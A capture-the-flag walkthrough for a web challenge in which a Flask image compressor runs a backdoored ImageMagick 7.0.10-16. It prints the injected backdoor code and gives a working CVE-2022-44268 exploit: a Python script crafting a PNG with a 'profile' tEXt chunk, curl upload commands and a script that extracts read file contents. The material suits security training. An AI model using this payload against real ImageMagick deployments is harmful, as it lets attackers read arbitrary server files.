PNG-Sec
PNG-Sec
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cve_exploitation, local_build_reproduction, metadata_exfiltration, misdeploy_diagnosis, png_chunk_injection, source_diff_backdoor_analysis
Summary
Walkthrough of the CUSTOM Web PNG-Sec. Task: Flask PNG compressor runs a backdoored ImageMagick 7.0.10-16 convert on uploads. Solution: analyze source diff (injected tEXt backdoor in ReadOnePNGImage) plus CVE-2022-44268 PNG arbitrary file
Description
PNG compressor — a web service that "compresses images to 64x64". Given: the web endpoint and an archive
png_sec.7zcontaining an ImageMagick source tree.
A Flask "PNG compressor" at http://109.233.56.90:11545/ accepts an image
upload, runs ImageMagick convert <input> -resize 64x64 <output>, and renders
a 64×64 preview. The provided archive png_sec.7z (~38 MiB) unpacks to an
ImageMagick 7.0.10-16 source tree and nothing else — no app.py, no
Dockerfile. The goal is to read flag.txt from the server via the image
processing pipeline.
Recon / Application model
Stack: Flask on Werkzeug/2.0.2, Python/3.10.2 (dev server). Only two routes:
/— GET returns the upload form; POST accepts multipart fieldimage./uploads/<path:file>— static serving viasend_from_directory(safe_joinblocks path traversal).
Upload behavior:
- Extension allowlist
{png, jpg, jpeg, bmp}, checked by extension only (.txt→ HTTP 500; any.pngcontent → 200). - The raw upload is saved to
uploads/<secure_filename>and served verbatim (200) —convertnever modifies the input. - The app runs
convert uploads/<name> -resize 64x64 <output>and renders<img src="uploads/<name>.png.conv.png">. That.conv.pngoutput is the intended served result (the compressed 64×64 preview).
secure_filename is applied to both the save path and the convert argument, so
there is no shell/template/msl: injection via the filename.
Vulnerability analysis
The archive is only the ImageMagick source tree, so the intended work is
source diffing. Diffing coders/png.c against vanilla ImageMagick
7.0.10-16 reveals a single injected block in ReadOnePNGImage (~line 2954):
c read-only • copy allowedif (png_get_valid(ping,ping_info,"tEXt")){ png_textp text_ptr; int num_text; int num_comments = png_get_text(ping, ping_info,&text_ptr, &num_text); for (int i=0; i<num_comments; i++){ //printf("%s\n",text_ptr[i].text); if (!strcmp(text_ptr[i].text,"CTFus PNGus")){ FILE * f = fopen("flag.txt","r"); char buf[128]; fgets(buf,128,f); fclose(f); printf("Flag: %s\n",buf); } } }
Vuln 1 — the intentional backdoor (CTFus PNGus)
- Trigger: a PNG
tEXtchunk whose value equals exactlyCTFus PNGus(case-sensitivestrcmp; the tEXt keyword is irrelevant). - Effect at read time: opens
flag.txt(relative to convert's CWD), and printsFlag: <flag>\nto convert's stdout. - The writer path is 100% vanilla — the flag is never written into the
output image by the backdoor; it only goes to stdout. This channel only helps
if the app captures stdout (e.g.
convert ... png:-), in which case the flag is prepended to the output PNG bytes. If the app writes to a file output, the flag stays in stdout and is discarded.
Vuln 2 — CVE-2022-44268 (ImageMagick PNG arbitrary file read)
ImageMagick 7.0.10-16 is also vulnerable to CVE-2022-44268. A PNG tEXt
chunk with keyword profile and value flag.txt (bytes profile\x00flag.txt)
makes ImageMagick read that file and embed its contents, hex-encoded, into
the output image's Raw profile type txt tEXt chunk. This lands the flag
inside the served output image — the clean, reliable channel here, because
the flag is a normal file-write into the convert output rather than transient
stdout.
Both vulnerabilities were reproduced on a locally-rebuilt IM 7.0.10-16 in
Docker (ubuntu:20.04, png+jpeg+zlib) using the provided source. The backdoor
fired 20/20 deterministically; the CVE reliably placed hex(flag.txt) into the
output PNG's Raw profile type txt chunk.
Exploitation (primary path — CVE-2022-44268)
1. Craft the malicious PNG
Insert a tEXt chunk profile\x00flag.txt (correct length + CRC32) before
IEND on any small valid PNG base:
python read-only • copy allowed#!/usr/bin/env python3 import struct, zlib def png_chunk(chunk_type: bytes, data: bytes) -> bytes: body = chunk_type + data return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xffffffff) # Minimal 1x1 RGB PNG base sig = b"\x89PNG\r\n\x1a\n" ihdr = png_chunk(b"IHDR", struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)) raw = b"\x00\x00\x00\x00" # one filtered scanline (filter 0 + RGB pixel) idat = png_chunk(b"IDAT", zlib.compress(raw)) # CVE-2022-44268: tEXt keyword "profile", value = path to read text = png_chunk(b"tEXt", b"profile\x00flag.txt") iend = png_chunk(b"IEND", b"") with open("q.png", "wb") as f: f.write(sig + ihdr + idat + text + iend) print("wrote q.png")
2. Upload it as .png
bash read-only • copy allowedcurl -s -F "image=@q.png;filename=exploit.png" http://109.233.56.90:11545/ # response contains: <img src="uploads/exploit.png.conv.png">
3. Fetch the converted output and extract the flag
bash read-only • copy allowedcurl -s http://109.233.56.90:11545/uploads/exploit.png.conv.png -o conv.png exiftool -b -RawProfileType conv.png # dumps the "Raw profile type txt" chunk
Or extract the hex programmatically (strip the leading \ntxt\n <len>\n
header, remove whitespace, then bytes.fromhex):
python read-only • copy allowed#!/usr/bin/env python3 import re data = open("conv.png", "rb").read() i = data.find(b"Raw profile type txt") blob = data[i:].split(b"\x00", 1)[1] # after the keyword NUL # header looks like: "\ntxt\n NNNN\n<hex...>" m = re.search(rb"txt\s*\n\s*\d+\s*\n([0-9a-fA-F\s]+)", blob) hexstr = re.sub(rb"\s", b"", m.group(1)) print(bytes.fromhex(hexstr.decode()).decode(errors="replace")) # -> spbctf{REDACTED}
Secondary path — the intended backdoor (CTFus PNGus)
Upload a PNG with a tEXt chunk whose value is exactly CTFus PNGus. On this
deployment the app returns the convert output via png:-, so the backdoor's
Flag: <flag>\n stdout is prepended to the served PNG bytes. The CVE path was
preferred because the flag lands inside the output image regardless of
whether stdout is captured.
The misdeploy blocker (lesson)
On the initially-deployed instance the .conv.png output was never served:
404 for every input (valid image, backdoor trigger, CVE payload), across all
filename/case/subdir variants, at all timings (0–30 s polling, 9425 race
fetches during slow uploads). The raw upload was served (200) but never
modified. A misleading uploads/png.conv.png returning 3 bytes (bla) turned
out to be another solver's raw upload whose secure_filename happened to be
png.conv.png — not a convert output.
Diagnostics that proved the backdoor still executed server-side:
- Timing: backdoor-trigger uploads were consistently ~120 ms slower than
non-trigger (0.328 s vs 0.212 s; corrupt-trigger 0.349 s vs 0.216 s) — the
cost of
fopen/fgets/printfonflag.txt, and not an abort. This confirmedflag.txtexists and the backdoor fires; its stdout was simply discarded / written to an unserved path. - Local Flask clone: a split-directory model — raw upload saved to an
absolute served dir, but
convertwritinguploads/X.png.conv.pngrelative to the app CWD (next toflag.txt, unserved) — reproduced the server exactly: raw 200, conv 404.
Dead ends ruled out:
- OOB egress via SVG/MVG
<image href>/msl:— 0 webhook hits (convert is ping/header-only, no render, no outbound network). - GhostScript PDF/PS/EPT file-write chains — gs 9.50 under
-dSAFERallowed/tmpwrites but blocked arbitrary read; no SAFER read bypass found. - Werkzeug debugger off (no traceback leak), path traversal blocked
(
safe_join), neighbouring ports 11544 (No such route) and 11546 (WRONG_CMD) unrelated.
Conclusion at the time: the instance was misdeployed — the convert output
was not persisted to the served uploads directory, so the <img src=...conv.png>
was broken for everyone. This was reported to the challenge author with the
actionable diagnostics above. After the admin restarted the instance,
/uploads/<name>.png.conv.png began returning 200 with a valid PNG, and
re-running the CVE payload immediately yielded the flag.
The lesson: rigorously distinguish a genuinely broken/misdeployed instance from a wrong approach. Timing side-channels and a faithful local clone proved the exploit was correct and the fault was server-side; reporting precise diagnostics to organizers unblocked the solve.
Key Takeaways / Lessons
- Mastering cve_exploitation, local_build_reproduction, metadata_exfiltration, misdeploy_diagnosis, png_chunk_injection, source_diff_backdoor_analysis was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-07-04 • CUSTOM • PNG-Sec • Difficulty: Medium